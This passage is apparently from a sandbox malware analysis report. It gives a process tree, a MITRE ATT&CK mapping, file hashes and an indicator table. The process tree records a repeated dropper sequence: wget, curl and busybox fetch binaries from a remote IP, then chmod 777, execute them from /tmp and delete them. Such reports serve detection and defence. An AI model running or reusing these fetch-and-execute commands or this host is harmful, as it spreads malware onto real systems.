  PID:942
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo
  2⤵
  PID:944
- /bin/chmod
  chmod 777 uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo
  ./uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo
  2⤵
  - Executes dropped EXE
  PID:946
- /bin/rm
  rm uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo
  2⤵
  PID:947
- /usr/bin/wget
  wget http://216.126.231.240/bins/d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7
  2⤵
  PID:948
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:949
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7
  2⤵
  PID:950
- /bin/chmod
  chmod 777 d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7
  ./d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7
  2⤵
  - Executes dropped EXE
  PID:952
- /bin/rm
  rm d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7
  2⤵
  PID:953
- /usr/bin/wget
  wget http://216.126.231.240/bins/sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X
  2⤵
  PID:954
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X
  2⤵
  PID:956
- /bin/chmod
  chmod 777 sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X
  ./sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X
  2⤵
  - Executes dropped EXE
  PID:958
- /bin/rm
  rm sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X
  2⤵
  PID:959
- /usr/bin/wget
  wget http://216.126.231.240/bins/0wprA81cTZqq8CpDff9xycubkPkIuEDv1l
  2⤵
  PID:960
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0wprA81cTZqq8CpDff9xycubkPkIuEDv1l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0wprA81cTZqq8CpDff9xycubkPkIuEDv1l
  2⤵
  PID:962
- /bin/chmod
  chmod 777 0wprA81cTZqq8CpDff9xycubkPkIuEDv1l
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/0wprA81cTZqq8CpDff9xycubkPkIuEDv1l
  ./0wprA81cTZqq8CpDff9xycubkPkIuEDv1l
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm 0wprA81cTZqq8CpDff9xycubkPkIuEDv1l
  2⤵
  PID:965
- /usr/bin/wget
  wget http://216.126.231.240/bins/TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc
  2⤵
  PID:966
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc
  2⤵
  PID:968
- /bin/chmod
  chmod 777 TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc
  2⤵
  - File and Directory Permissions Modification
  PID:969
- /tmp/TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc
  ./TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc
  2⤵
  - Executes dropped EXE
  PID:970
- /bin/rm
  rm TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc
  2⤵
  PID:971
- /usr/bin/wget
  wget http://216.126.231.240/bins/yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv
  2⤵
  PID:972
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:973
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv
  2⤵
  PID:974
- /bin/chmod
  chmod 777 yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv
  ./yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv
  2⤵
  - Executes dropped EXE
  PID:976
- /bin/rm
  rm yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv
  2⤵
  PID:977

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

Download Submit

ioc	pid	process
/tmp/aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB	736	aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB
/tmp/6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx	742	6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx
/tmp/uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo	762	uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo
/tmp/d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7	786	d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7
/tmp/sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X	805	sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X
/tmp/0wprA81cTZqq8CpDff9xycubkPkIuEDv1l	811	0wprA81cTZqq8CpDff9xycubkPkIuEDv1l
/tmp/TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc	830	TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc
/tmp/yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv	856	yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv
/tmp/xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc	862	xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc
/tmp/mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq	868	mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq
/tmp/KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ	874	KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ
/tmp/1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e	880	1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e
/tmp/jO35p3ilukvfsE6y74InUUnbLJacTwrz8t	886	jO35p3ilukvfsE6y74InUUnbLJacTwrz8t
/tmp/6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5	892	6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5
/tmp/xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc	898	xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc
/tmp/mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq	904	mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq
/tmp/KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ	910	KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ
/tmp/1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e	916	1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e
/tmp/jO35p3ilukvfsE6y74InUUnbLJacTwrz8t	922	jO35p3ilukvfsE6y74InUUnbLJacTwrz8t
/tmp/6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5	928	6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5
/tmp/aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB	934	aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB
/tmp/6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx	940	6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx
/tmp/uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo	946	uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo
/tmp/d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7	952	d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7
/tmp/sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X	958	sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X
/tmp/0wprA81cTZqq8CpDff9xycubkPkIuEDv1l	964	0wprA81cTZqq8CpDff9xycubkPkIuEDv1l
/tmp/TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc	970	TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc
/tmp/yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv	976	yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv